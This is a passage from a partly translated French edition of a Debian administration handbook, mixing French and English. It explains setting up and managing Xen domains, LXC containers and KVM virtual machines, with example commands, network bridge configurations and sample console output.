- For AMD processors you can execute grep svm /proc/cpuinfo to check for AMD's Secure Virtual Machine.

If that is not the case, you can access the BIOS of your system and check for entries like “Intel Virtualization Technology”/“Intel VT-x” or “SVM mode” (AMD) - usually to be found in the CPU configuration in the Advanced section.

12.2.1. Xen

Xen est une solution de « paravirtualisation », c'est-à-dire qu'elle insère entre le matériel et les systèmes supérieurs une fine couche d'abstraction, nommée « hyperviseur », dont le rôle est de répartir l'utilisation du matériel entre les différentes machines virtuelles qui fonctionnent dessus. Cependant, cet hyperviseur n'entre en jeu que pour une petite partie des instructions, le reste étant exécuté directement par le matériel pour le compte des différents systèmes. L'avantage est que les performances ne subissent pas de dégradation ; la contrepartie est que les noyaux des systèmes d'exploitation que l'on souhaite utiliser sur un hyperviseur Xen doivent être modifiés pour en tirer parti.

Let's spend some time on terms. The hypervisor is the lowest layer, which runs directly on the hardware, even below the kernel. This hypervisor can split the rest of the software across several domains, which can be seen as so many virtual machines. One of these domains (the first one that gets started) is known as dom0, and has a special role, since only this domain can control the hypervisor and the execution of other domains. These other domains are known as domU. In other words, and from a user point of view, the dom0 matches the “host” of other virtualization systems, while a domU can be seen as a “guest”.

CULTURE Xen et les différentes versions de Linux

À l'origine, Xen a été développé sous forme d'un ensemble de patches à appliquer sur le noyau. Ces derniers n'ont jamais été intégrés au noyau officiel. Pour répondre aux besoins des différents systèmes de virtualisation émergents à l'époque (et notamment KVM), le noyau Linux s'est doté d'un ensemble de fonctions génériques facilitant la création de solutions de paravirtualisation. Cette interface est connue sous le nom paravirt_ops (ou pv_ops). Puisque les patches de Xen dupliquaient certaines de ces fonctionnalités, ils n'ont pas pu être acceptés officiellement.

Xensource, the company behind Xen, therefore had to port Xen to this new framework, so that the Xen patches could be merged into the official Linux kernel. That meant a lot of code rewrite, and although Xensource soon had a working version based on the paravirt_ops interface, the patches were only progressively merged into the official kernel. The merge was completed in Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Since Jessie is based on version 3.16 of the Linux kernel, the standard linux-image-686-pae and linux-image-amd64 packages include the necessary code, and the distribution-specific patching that was required for Squeeze and earlier versions of Debian is no more.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

CULTURE Xen et les noyaux non Linux

Xen requires modifications to all the operating systems one wants to run on it; not all kernels have the same level of maturity in this regard. Many are fully-functional, both as dom0 and domU: Linux 3.0 and later, NetBSD 4.0 and later, and OpenSolaris. Others only work as a domU. You can check the status of each operating system in the Xen wiki:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

Toutefois, si Xen peut s'appuyer sur les fonctions matérielles dédiées spécifiquement à la virtualisation, qui ne sont proposées que par les processeurs les plus récents, il est alors possible d'employer des systèmes d'exploitation non modifiés (dont Windows) en tant que domU.

NOTE Architectures compatibles avec Xen

Xen n'est actuellement disponible que pour les architectures i386, amd64, arm64 et armhf.

Pour utiliser Xen sous Debian, trois composants sont nécessaires :

- The hypervisor itself. According to the available hardware, the appropriate package providing xen-hypervisor will be either xen-hypervisor-4.14-amd64, xen-hypervisor-4.14-armhf, or xen-hypervisor-4.14-arm64.

- A kernel that runs on that hypervisor. Any kernel more recent than 3.0 will do, including the 5.10 version present in Bullseye.

- Une bibliothèque standard modifiée pour tirer parti de Xen. Pour cela, on installera le paquet libc6-xen (valable uniquement sur architecture i386).

The hypervisor also brings xen-utils-4.14, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the GRUB bootloader menu, so as to start the chosen kernel in a Xen dom0. Note, however, that this entry is not usually set to be the first one in the list, but it will be selected by default.

Une fois cette installation effectuée, il convient de tester le fonctionnement du dom0 seul, donc de redémarrer le système avec l'hyperviseur et le noyau Xen. À part quelques messages supplémentaires sur la console lors de l'initialisation, le système démarre comme d'habitude.

Il est donc temps de commencer à installer des systèmes sur les domU. Nous allons pour cela utiliser le paquet xen-tools. Ce paquet fournit la commande xen-create-image, qui automatise en grande partie la tâche. Son seul paramètre obligatoire est --hostname, qui donne un nom au domU ; d'autres options sont importantes, mais leur présence sur la ligne de commande n'est pas nécessaire parce qu'elles peuvent être placées dans le fichier de configuration /etc/xen-tools/xen-tools.conf. On prendra donc soin de vérifier la teneur de ce fichier avant de créer des images, ou de passer des paramètres supplémentaires à xen-create-image lors de son invocation. Notons en particulier :

- --memory, qui spécifie la quantité de mémoire vive à allouer au système créé ;

- --size et --swap, qui définissent la taille des « disques virtuels » disponibles depuis le domU ;

- --debootstrap-cmd, to specify the which debootstrap command is used. The default is debootstrap if debootstrap and cdebootstrap are installed. In that case, the --dist option will also most often be used (with a distribution name such as bullseye).
POUR ALLER PLUS LOIN Installer autre chose que Debian dans un domU

S'il s'agit d'installer un système non Linux, on n'oubliera pas de spécifier le noyau à utiliser par le domU, avec l'option --kernel.

- --dhcp spécifie que la configuration réseau du domU doit être obtenue par DHCP ; au contraire, --ip permet de spécifier une adresse IP statique.

- Enfin, il faut choisir une méthode de stockage pour les images à créer (celles qui seront vues comme des disques durs dans le domU). La plus simple, déclenchée par l'option --dir, est de créer un fichier sur le dom0 pour chaque périphérique que l'on souhaite fournir au domU. L'autre possibilité, sur les systèmes utilisant LVM, est de passer par le biais de l'option --lvm le nom d'un groupe de volumes, dans lequel xen-create-image créera un nouveau volume logique ; ce volume logique sera rendu disponible au domU comme un disque dur.
NOTE Stockage dans les domU

On peut également exporter vers les domU des disques durs entiers, des partitions, des ensembles RAID ou des volumes logiques LVM préexistants. Ces opérations n'étant pas prises en charge par xen-create-image, il faudra pour les accomplir modifier manuellement le fichier de configuration de l'image Xen après sa création par xen-create-image.

Lorsque ces choix sont faits, nous pouvons créer l'image de notre futur domU Xen :

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=bullseye --role=udev

General Information

--------------------

Hostname       :  testxen

Distribution   :  bullseye

Mirror         :  http://deb.debian.org/debian

Partitions     :  swap            512M  (swap)

/               2G    (ext4)

Image type     :  sparse

Memory size    :  256M

Bootloader     :  pygrub

[...]

Logfile produced at:

/var/log/xen-tools/testxen.log

Installation Summary

---------------------

Hostname        :  testxen

Distribution    :  bullseye

MAC Address     :  00:16:3E:C2:07:EE

IP Address(es)  :  dynamic

SSH Fingerprint :  SHA256:K+0QjpGzZOacLZ3jX4gBwp0mCESt5ceN5HCJZSKWS1A (DSA)

SSH Fingerprint :  SHA256:9PnovvGRuTw6dUcEVzzPKTITO0+3Ki1Gs7wu4ke+4co (ECDSA)

SSH Fingerprint :  SHA256:X5z84raKBajUkWBQA6MVuanV1OcV2YIeD0NoCLLo90k (ED25519)

SSH Fingerprint :  SHA256:VXu6l4tsrCoRsXOqAwvgt57sMRj2qArEbOzHeydvV34 (RSA)

Root Password   :  FS7CUxsY3xkusv7EkbT9yae

Nous disposons à présent d'une machine virtuelle, mais actuellement éteinte, qui n'occupe de la place que sur le disque dur du dom0. Nous pouvons bien entendu créer plusieurs images, avec des paramètres différents au besoin.

Before turning these virtual machines on, we need to define how they'll be accessed. They can of course be considered as isolated machines, only accessed through their system console, but this rarely matches the usage pattern. Most of the time, a domU will be considered as a remote server, and accessed only through a network. However, it would be quite inconvenient to add a network card for each domU; which is why Xen allows creating virtual interfaces that each domain can see and use in a standard way. Note that these cards, even though they're virtual, will only be useful once connected to a network, even a virtual one. Xen has several network models for that:

- En mode pont (bridge), toutes les cartes réseau eth0 (pour le dom0 comme pour les domU) se comportent comme si elles étaient directement branchées sur un commutateur Ethernet (switch). C'est le mode le plus simple.

- En mode routage, le dom0 est placé entre les domU et le réseau extérieur (physique) ; il joue un rôle de routeur.

- En mode traduction d'adresse (NAT), le dom0 est également placé entre les domU et le reste du réseau ; cependant, les domU ne sont pas accessibles directement depuis l'extérieur, le trafic subissant de la traduction d'adresses sur le dom0.

Ces trois modes mettent en jeu un certain nombre d'interfaces aux noms inhabituels, comme vif*, veth*, peth* et xenbr0, qui sont mises en correspondance selon différents agencements par l'hyperviseur Xen, contrôlé par les utilitaires en espace utilisateur. Nous ne nous attarderons pas ici sur les modes NAT et routage, qui ne présentent d'intérêt que dans des cas particuliers.

The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0 taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces (which requires installing the bridge-utils package, which is why the xen-utils package recommends it) to replace the existing eth0 entry (be careful to use the correct network device name):

auto xenbr0

iface xenbr0 inet dhcp

bridge_ports eth0

bridge_maxwait 0

After rebooting to make sure the bridge is automatically created, we can now start the domU with the Xen control tools, in particular the xl command. This command allows different manipulations on the domains, including listing them and, starting/stopping them. You might need to increase the default memory by editing the variable memory from configuration file (in this case, /etc/xen/testxen.cfg). Here we have set it to 1024 (megabytes).

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  3918     2     r-----      35.1

# xl create /etc/xen/testxen.cfg

Parsing config from /etc/xen/testxen.cfg

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  2757     2     r-----      45.2

testxen                                      3  1024     1     r-----       1.3

OUTIL Outils disponibles pour gérer une VM Xen

In Debian 7 and older releases, xm was the reference command line tool to use to manage Xen virtual machines. It has now been replaced by xl which is mostly backwards compatible. But those are not the only available tools: virsh of libvirt and xe of XenServer's XAPI (commercial offering of Xen) are alternative tools.

ATTENTION Un seul domU par image !

While it is of course possible to have several domU systems running in parallel, they will all need to use their own image, since each domU is made to believe it runs on its own hardware (apart from the small slice of the kernel that talks to the hypervisor). In particular, it isn't possible for two domU systems running simultaneously to share storage space. If the domU systems are not run at the same time, it is, however, quite possible to reuse a single swap partition, or the partition hosting the /home filesystem.

On notera que le domU testxen occupe de la mémoire vive réelle, qui est prise sur celle disponible pour le dom0 (il ne s'agit pas de mémoire vive simulée). Il sera donc important de bien dimensionner la mémoire vive d'une machine que l'on destine à héberger des instances Xen.

Voilà ! Notre machine virtuelle démarre. Pour y accéder, nous avons deux possibilités. La première est de s'y connecter « à distance », à travers le réseau (comme pour une machine réelle, cependant, il faudra probablement mettre en place une entrée dans le DNS, ou configurer un serveur DHCP). La seconde, qui peut être plus utile si la configuration réseau du domU était erronée, est d'utiliser la console hvc0. On utilisera pour cela la commande xl console :

# xl console testxen

[...]

Debian GNU/Linux 11 testxen hvc0

testxen login:

On peut ainsi ouvrir une session, comme si l'on était au clavier de la machine virtuelle. Pour détacher la console, on utilisera la combinaison de touches Ctrl+].

ASTUCE Obtenir la console tout de suite

Si l'on souhaite démarrer un système dans un domU et accéder à sa console dès le début, on pourra passer l'option -c à la commande xl create ; on obtiendra alors tous les messages au fur et à mesure du démarrage du système.

TOOL Graphical Xen managers

OpenXenManager (in the openxenmanager package), a graphical interface allowing remote management of Xen domains via Xen's API, is no longer provided by Debian due to the lack of upstream development. If you are looking for a replacement, virt-manager provides support to handle Xen VMs as well.

Une fois que le domU est fonctionnel, on peut s'en servir comme d'un serveur classique (c'est un système GNU/Linux, après tout). Mais comme il s'agit d'une machine virtuelle, on dispose de quelques fonctions supplémentaires. On peut par exemple le mettre en pause temporairement, puis le débloquer, avec les commandes xl pause et xl unpause. Un domU en pause cesse de consommer de la puissance de processeur, mais sa mémoire lui reste allouée. La fonction de sauvegarde (xl save) et celle de restauration associée (xl restore) seront donc peut-être plus intéressantes. En effet, une sauvegarde d'un domU libère les ressources utilisées par ce domU, y compris la mémoire vive. Lors de la restauration (comme d'ailleurs après une pause), le domU ne s'aperçoit de rien de particulier, sinon que le temps a passé. Si un domU est toujours en fonctionnement lorsqu'on éteint le dom0, il sera automatiquement sauvegardé ; au prochain démarrage, il sera automatiquement restauré et remis en marche. Bien entendu, on aura les inconvénients que l'on peut constater par exemple lors de la suspension d'un ordinateur portable ; en particulier, si la suspension est trop longue, les connexions réseau risquent d'expirer. Notons en passant que Xen est pour l'instant incompatible avec une grande partie de la gestion de l'énergie ACPI, ce qui inclut la suspension (software suspend) du système hôte (dom0).

Pour éteindre ou redémarrer un domU, on pourra soit exécuter la commande shutdown à l'intérieur de ce domU, soit utiliser, depuis le dom0, xl shutdown ou xl reboot.

La plupart des sous-commandes de xl attendent un ou plusieurs arguments, souvent le nom du domU concerné. Ces arguments sont largement décrits dans la page de manuel xl(1).

POUR ALLER PLUS LOIN Xen avancé

Xen has many more features than we can describe in these few paragraphs. In particular, the system is very dynamic, and many parameters for one domain (such as the amount of allocated memory, the visible hard drives, the behavior of the task scheduler, and so on) can be adjusted even when that domain is running. A domU can even be migrated across servers without being shut down, and without losing its network connections! For all these advanced aspects, the primary source of information is the official Xen documentation.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

Bien qu'il soit utilisé pour construire des « machines virtuelles », LXC n'est pas à proprement parler une solution de virtualisation. C'est en réalité un système permettant d'isoler des groupes de processus sur un même système. Il tire parti pour cela d'un ensemble d'évolutions récentes du noyau Linux, regroupées sous le nom de control groups, et qui permettent de donner des visions différentes de certains aspects du système à des ensembles de processus appelés groupes. Parmi ces aspects du système figurent notamment les identifiants de processus, la configuration réseau et les points de montage. Un groupe de processus ainsi isolés n'aura pas accès aux autres processus du système et son accès au système de fichiers pourra être restreint à un sous-ensemble prédéfini. Il aura également accès à sa propre interface réseau, sa table de routage, éventuellement à un sous-ensemble des périphériques présents, etc.

These features can be combined to isolate a whole process family starting from the init process, and the resulting set looks very much like a virtual machine. The official name for such a setup is a “container” (hence the LXC moniker: LinuX Containers), but a rather important difference with “real” virtual machines such as provided by Xen or KVM is that there is no second kernel; the container uses the very same kernel as the host system. This has both pros and cons: advantages include excellent performance due to the total lack of overhead, and the fact that the kernel has a global vision of all the processes running on the system, so the scheduling can be more efficient than it would be if two independent kernels were to schedule different task sets. Chief among the inconveniences is the impossibility to run a different kernel in a container (whether a different Linux version or a different operating system altogether).

NOTE Limites de l'isolation par LXC

Contrairement au fonctionnement « habituel » des émulateurs ou des virtualiseurs plus lourds, les conteneurs LXC ne fournissent pas nécessairement une isolation totale. En particulier :

- Comme le noyau est partagé entre le système hôte et les conteneurs, il est possible d'accéder depuis les conteneurs aux messages du noyau, ce qui peut donner lieu à des fuites d'informations si des messages sont émis par un conteneur;

- Pour la même raison, si l'un des conteneurs est compromis et si une faille de sécurité du noyau est ainsi exposée, les autres conteneurs seront affectés aussi;

- La gestion des permissions sur les fichiers est faite par le noyau sur la base des identifiants numériques d'utilisateurs et de groupes ; ces identifiants ne correspondent pas nécessairement aux mêmes utilisateurs sur des conteneurs différents, il faudra donc garder cela à l'esprit si des systèmes de fichiers sont partagés entre plusieurs conteneurs et accessibles en écriture.

Comme il s'agit d'isolation et non de virtualisation complète, la mise en place de conteneurs LXC est un peu plus complexe que la simple utilisation de debian-installer sur une machine virtuelle. Après quelques préliminaires, il s'agira de mettre en place une configuration réseau, puis de créer le système qui sera amené à fonctionner dans le conteneur.

12.2.2.1. Préliminaires

Les utilitaires requis pour faire fonctionner LXC sont inclus dans le paquet lxc, qui doit donc être installé avant toute chose.

LXC a également besoin du système de paramétrage des control groups. Ce dernier se présente comme un système de fichiers virtuels à monter dans /sys/fs/cgroup. Comme Debian 8 utilise par défaut systemd, qui a aussi besoin des control groups, cette opération est effectuée automatiquement au démarrage, et il n'est plus besoin de configuration supplémentaire.

12.2.2.2. Configuration réseau

The goal of installing LXC is to set up virtual machines; while we could, of course, keep them isolated from the network, and only communicate with them via the filesystem, most use cases involve giving at least minimal network access to the containers. In the typical case, each container will get a virtual network interface, connected to the real network through a bridge. This virtual interface can be plugged either directly onto the host's physical network interface (in which case the container is directly on the network), or onto another virtual interface defined on the host (and the host can then filter or route traffic). In both cases, the bridge-utils package will be required.

The simple case is just a matter of editing /etc/network/interfaces, moving the configuration for the physical interface (for instance, eth0 or enp1s0) to a bridge interface (usually br0), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:

auto eth0

iface eth0 inet dhcp

Il faudra les désactiver et les remplacer par :

auto br0

iface br0 inet dhcp

bridge-ports eth0

Cette configuration aura un résultat similaire à celui qui serait obtenu si les conteneurs étaient des machines branchées sur le même réseau physique que la machine hôte. La configuration en « pont » s'occupe de faire transiter les trames Ethernet sur toutes les interfaces connectées au pont, c'est-à-dire l'interface physique eth0 mais aussi les interfaces qui seront définies pour les conteneurs.

In cases where this configuration cannot be used (for instance, if no public IP addresses can be assigned to the containers), a virtual tap interface will be created and connected to the bridge. The equivalent network topology then becomes that of a host with a second network card plugged into a separate switch, with the containers also plugged into that switch. The host must then act as a gateway for the containers if they are meant to communicate with the outside world.

Pour cette configuration riche, on installera, en plus de bridge-utils, le paquet vde2 ; le fichier /etc/network/interfaces peut alors devenir :

# Interface eth0 is unchanged

auto eth0

iface eth0 inet dhcp

# Virtual interface

auto tap0

iface tap0 inet manual

vde2-switch -t tap0

# Bridge for containers

auto br0

iface br0 inet static

bridge-ports tap0

address 10.0.0.1

netmask 255.255.255.0

On pourra ensuite soit configurer le réseau de manière statique dans les conteneurs, soit installer sur l'hôte un serveur DHCP configuré pour répondre aux requêtes sur l'interface br0.

12.2.2.3. Mise en place du système

Let us now set up the filesystem to be used by the container. Since this “virtual machine” will not run directly on the hardware, some tweaks are required when compared to a standard filesystem, especially as far as the kernel, devices and consoles are concerned. Fortunately, the lxc package includes scripts that mostly automate this configuration. For instance, the following commands (which require the debootstrap and rsync packages) will install a Debian container:

# lxc-create -n testlxc -t debian

debootstrap is /usr/sbin/debootstrap

Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ...

Downloading debian minimal ...

I: Retrieving Release

I: Retrieving Release.gpg

[...]

Download complete.

Copying rootfs to /var/lib/lxc/testlxc/rootfs...

[...]

#

On notera que le système de fichiers est initialement généré dans /var/cache/lxc, puis copié vers le répertoire de destination ; cela permet de créer d'autres systèmes de fichiers identiques beaucoup plus rapidement, puisque seule la copie sera nécessaire.

Note that the Debian template creation script accepts an --arch option to specify the architecture of the system to be installed and a --release option if you want to install something else than the current stable release of Debian. You can also set the MIRROR environment variable to point to a local Debian mirror.

The lxc package further creates a bridge interface lxcbr0, which by default is used by all newly created containers via /etc/lxc/default.conf and the lxc-net service:

lxc.net.0.type = veth

lxc.net.0.link = lxcbr0

lxc.net.0.flags = up

These entries mean, respectively, that a virtual interface will be created in every new container; that it will automatically be brought up when said container is started; and that it will be automatically connected to the lxcbr0 bridge on the host. You will find these settings in the created container's configuration (/var/lib/lxc/testlxc/config), where also the device' MAC address will be specified in lxc.net.0.hwaddr. Should this last entry be missing or disabled, a random MAC address will be generated.

Une autre instruction utile est celle qui définit le nom d'hôte :

lxc.uts.name = testlxc

The newly-created filesystem now contains a minimal Debian system and a network interface.

12.2.2.4. Lancement du conteneur

Now that our virtual machine image is ready, let's start the container with lxc-start --name=testlxc.

In LXC releases following 2.0.8, root passwords are not set by default. We can set one running lxc-attach -n testlxc passwd if we want. We can login with:

# lxc-console -n testlxc

Connected to tty 1

Type <Ctrl+a q> to exit the console, <Ctrl+a Ctrl+a> to enter Ctrl+a itself

Debian GNU/Linux 11 testlxc tty1

testlxc login: root

Password:

Linux testlxc 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Wed Mar  9 01:45:21 UTC 2022 on console

root@testlxc:~# ps auxwf

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND

root           1  0.0  0.2  18964 11464 ?        Ss   01:36   0:00 /sbin/init

root          45  0.0  0.2  31940 10396 ?        Ss   01:37   0:00 /lib/systemd/systemd-journald

root          71  0.0  0.1  99800  5724 ?        Ssl  01:37   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid [..]

root          97  0.0  0.1  13276  6980 ?        Ss   01:37   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

root         160  0.0  0.0   6276  3928 pts/0    Ss   01:46   0:00 /bin/login -p --

root         169  0.0  0.0   7100  3824 pts/0    S    01:51   0:00  \_ -bash

root         172  0.0  0.0   9672  3348 pts/0    R+   01:51   0:00      \_ ps auxwf

root         164  0.0  0.0   5416  2128 pts/1    Ss+  01:49   0:00 /sbin/agetty -o -p -- \u --noclear [...]

root@testlxc:~#

Nous voilà ainsi dans le conteneur, d'où nous n'avons accès qu'aux processus lancés depuis le conteneur lui-même et qu'au sous-ensemble dédié du système de fichiers (/var/lib/lxc/testlxc/rootfs). Nous pouvons quitter la console avec la combinaison de touches Ctrl+a suivie de q.

Note that we ran the container as a background process, thanks to lxc-start starting using the --daemon option by default. We can interrupt the container with a command such as lxc-stop --name=testlxc.

Le paquet lxc contient un script d'initialisation qui peut démarrer automatiquement un ou plusieurs conteneurs lors du démarrage de l'ordinateur (il utilise lxc-autostart, qui démarre les conteneurs dont l'option lxc.start.auto est réglée à 1). Un contrôle plus fin de l'ordre de démarrage est possible, grâce aux options lxc.start.order et lxc.group : par défaut, le script d'initialisation démarre d'abord les conteneurs qui sont dans le groupe onboot, puis ceux qui ne font partie d'aucun groupe. Dans les deux cas, l'ordre de lancement au sein d'un groupe est contrôlé par l'option lxc.start.order.

POUR ALLER PLUS LOIN Virtualisation massive

Comme LXC est une solution d'isolation assez légère, elle peut être particulièrement adaptée à de l'hébergement massif de serveurs virtuels. Il faudra vraisemblablement utiliser une configuration réseau un peu plus avancée que celle utilisée dans cet exemple, mais la configuration avec interfaces tap et veth présentée plus haut suffira dans de nombreux cas.

On pourra en outre vouloir partager une partie du système de fichiers, par exemple les sous-arborescences /usr et /lib, pour ne pas avoir à dupliquer les programmes installés s'ils sont communs à plusieurs conteneurs ; on ajoutera pour cela des entrées lxc.mount.entry dans le fichier de configuration des conteneurs. Un effet secondaire intéressant est qu'ils occuperont également moins de mémoire vive, vu que le noyau est capable de s'apercevoir que les programmes sont partagés. Le coût marginal d'un conteneur supplémentaire sera alors réduit à l'espace disque dédié (les données spécifiques à ce conteneur) et à quelques processus supplémentaires à gérer par le noyau.

Nous ne décrivons pas ici toutes les options disponibles ; pour plus d'informations, on se référera aux pages de manuel lxc(7), lxc.container.conf(5) et celles référencées.

12.2.3. Virtualisation avec KVM

KVM (Kernel-based Virtual Machine, « machine virtuelle basée sur le noyau ») est avant tout un module noyau facilitant la mise en place de machines virtuelles. L'application que l'on utilise pour démarrer et contrôler ces machines virtuelles est dérivée de QEMU. Ne vous étonnez donc pas si l'on fait appel à des commandes qemu-* dans cette section traitant de KVM .

Contrairement aux autres solutions de virtualisation, KVM a été intégré au noyau Linux dès ses débuts. Le choix de s'appuyer sur les jeux d'instructions dédiés à la virtualisation (Intel-VT ou AMD-V) permet à KVM d'être léger, élégant et peu gourmand en ressources. La contrepartie est qu'il ne fonctionne pas sur tous les ordinateurs, mais seulement ceux disposant de processeurs adaptés. Pour les ordinateurs à base de x86, vous pouvez vérifier que votre processeur dispose des jeux d'instructions requis en cherchant « vmx » ou « svm » dans les drapeaux du processeur listés dans /proc/cpuinfo.

Grâce à Red Hat soutenant activement son développement, KVM est plus ou moins devenu la référence pour la virtualisation sous Linux.

12.2.3.1. Préliminaires

Unlike such tools as VirtualBox, KVM itself doesn't include any user-interface for creating and managing virtual machines. The virtual qemu-kvm package only provides an executable able to start a virtual machine, as well as an initialization script that loads the appropriate kernel modules.

Fortunately, Red Hat also provides another set of tools to address that problem, by developing the libvirt library and the associated virtual machine manager tools. libvirt allows managing virtual machines in a uniform way, independently of the virtualization system involved behind the scenes (it currently supports QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare, and UML). virt-manager is a graphical interface that uses libvirt to create and manage virtual machines.

We first install the required packages, with apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. libvirt-daemon-system provides the libvirtd daemon, which allows (potentially remote) management of the virtual machines running of the host, and starts the required VMs when the host boots. libvirt-clients provides the virsh command-line tool, which allows controlling the libvirtd-managed machines.

virtinst fournit quant à lui virt-install qui sert à créer des machines virtuelles depuis la ligne de commande. Enfin, virt-viewer permet d'accéder à la console graphique d'une machine virtuelle.

12.2.3.2. Configuration réseau

Tout comme avec Xen ou LXC, la configuration la plus courante pour des serveurs publics consiste à configurer un pont dans lequel seront intégrées les interfaces réseau des machines virtuelles (voir Section 12.2.2.2, « Configuration réseau »).

Alternativement, la configuration par défaut employée par KVM est d'attribuer une adresse privée à la machine virtuelle (dans la plage 192.168.122.0/24) et de faire du NAT pour que la machine ait un accès au réseau extérieur.

Dans la suite de cette section, nous supposerons qu'un pont br0 a été configuré et que l'interface réseau physique eth0 y a été intégrée.

12.2.3.3. Installation avec virt-install

La création d'une machine virtuelle est très similaire à l'installation d'une machine normale, sauf que toutes les caractéristiques de la machine sont décrites par une ligne de commande à rallonge.

En pratique, cela veut dire que nous allons utiliser l'installateur Debian en démarrant sur un lecteur de DVD-Rom virtuel associé à une image ISO d'un DVD Debian. La machine virtuelle exportera la console graphique via le protocole VNC (voir explications en Section 9.2.2, « Accéder à distance à des bureaux graphiques ») et nous pourrons donc contrôler le déroulement de l'installation par ce biais.

We first need to tell libvirtd where to store the disk images, unless the default location (/var/lib/libvirt/images/) is fine.

# mkdir /srv/kvm

# virsh pool-create-as srv-kvm dir --target /srv/kvm

Pool srv-kvm created

#

ASTUCE Ajouter un utilisateur au groupe libvirt

All samples in this section assume that you are running commands as root. Effectively, if you want to control a local libvirt daemon, you need either to be root or to be a member of the libvirt group (which is not the case by default). Thus if you want to avoid using root rights too often, you can add yourself to the libvirt group and run the various commands under your user identity.

Lançons maintenant l'installation de la machine virtuelle et regardons de plus près la signification des options les plus importantes de virt-install. Cette commande va enregistrer la machine virtuelle et ses paramètres auprès de libvirtd, puis la démarrer une première fois afin que l'on puisse effectuer l'installation.

# virt-install --connect qemu:///system

--virt-type kvm

--name testkvm

--memory 2048

--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10

--cdrom /srv/isos/debian-11.2.0-amd64-netinst.iso

--network bridge=virbr0

--graphics vnc

--os-type linux

--os-variant debiantesting

Starting install...

Allocating 'testkvm.qcow'

L'option --connect permet d'indiquer l'hyperviseur à gérer. L'option prend la forme d'une URL indiquant à la fois la technologie de virtualisation (xen://, qemu://, lxc://, openvz://, vbox://, etc.) et la machine hôte (qui est laissée vide lorsque l'hôte est la machine locale). En outre, dans le cas de QEMU/KVM, chaque utilisateur peut gérer des machines virtuelles qui fonctionneront donc avec des droits limités et le chemin de l'URL permet de distinguer les machines « systèmes » (/system) des autres (/session).

KVM se gérant de manière similaire à QEMU, l'option --virt-type kvm précise que l'on souhaite employer KVM même si l'URL de connexion précise indique QEMU.

L'option --name définit l'identifiant (unique) que l'on attribue à la machine virtuelle.

The --memory option allows specifying the amount of RAM (in MB) to allocate for the virtual machine.

The --disk specifies the location of the image file that is to represent our virtual machine's hard disk; that file is created, unless present, with a size (in GB) specified by the size parameter. The format parameter allows choosing among several ways of storing the image file. The default format (qcow2) allows starting with a small file that only grows when the virtual machine starts actually using space.

L'option --cdrom indique où trouver l'image ISO du CD-Rom qui va servir à démarrer l'installateur. On peut aussi bien indiquer un chemin local d'un fichier ISO, une URL où l'image peut être récupérée, ou encore un périphérique bloc correspondant à un vrai lecteur de CD-Rom (i.e. /dev/cdrom).

L'option --network indique comment la carte réseau virtuelle doit s'intégrer dans la configuration réseau de l'hôte. Le comportement par défaut (que nous forçons ici) est de l'intégrer dans tout pont (bridge) pré-existant. En l'absence de pont, la machine virtuelle n'aura accès au LAN que par du NAT et obtient donc une adresse dans un sous-réseau privé (192.168.122.0/24).

The default network configuration, which contains the definition for a virbr0 bridge interface, can be edited using virsh net-edit default and started via virsh net-start default if not already done automatically during system start.

--graphics vnc states that the graphical console should be made available using VNC. The default behavior for the associated VNC server is to only listen on the local interface; if the VNC client is to be run on a different host, establishing the connection will require setting up an SSH tunnel (see Section 9.2.1.4, « Créer des tunnels chiffrés avec le port forwarding »). Alternatively, --graphics vnc,listen=0.0.0.0 can be used so that the VNC server is accessible from all interfaces; note that if you do that, you really should design your firewall accordingly.

Les options --os-type et --os-variant permettent d'optimiser quelques paramètres de la machine virtuelle en fonction des caractéristiques connues du système d'exploitation indiqué.

The full list of OS types can be shown using the osinfo-query os command from the libosinfo-bin package.

À ce stade, la machine virtuelle est démarrée et il faut se connecter à la console graphique pour effectuer l'installation. Si l'opération a été effectuée depuis un bureau graphique, la console graphique a été automatiquement lancée. Autrement, on peut en démarrer une sur un autre poste à l'aide de virt-viewer :

$ virt-viewer --connect qemu+ssh://root@serveur/system

root@serveur's password:

root@serveur's password:

Figure 12.1. Connecting to installer session using virt-viewer

À la fin de l'installation, la machine virtuelle est redémarrée. Elle est désormais prête à l'emploi.

12.2.3.4. Gestion des machines avec virsh

L'installation étant terminée, il est temps de voir comment manipuler les machines virtuelles disponibles. La première commande permet de lister les machines gérées par libvirtd :

# virsh -c qemu:///system list --all

Id Name                 State

----------------------------------

8 testkvm              shut off

Démarrons notre machine virtuelle de test :

# virsh -c qemu:///system start testkvm

Domain testkvm started

Cherchons à obtenir les informations de connexion à la console graphique (le port d'affichage VNC renvoyé peut être passé en paramètre à vncviewer) :

# virsh -c qemu:///system vncdisplay testkvm

127.0.0.1:0

Parmi les autres commandes disponibles dans virsh, on trouve :

- reboot pour initier un redémarrage ;

- shutdown pour arrêter proprement une machine virtuelle ;

- destroy pour la stopper brutalement ;

- suspend pour la mettre en pause ;

- resume pour la sortir de pause ;

- autostart pour activer (ou désactiver lorsque l'option --disable est employée) le démarrage automatique d'une machine virtuelle au démarrage de l'hôte ;

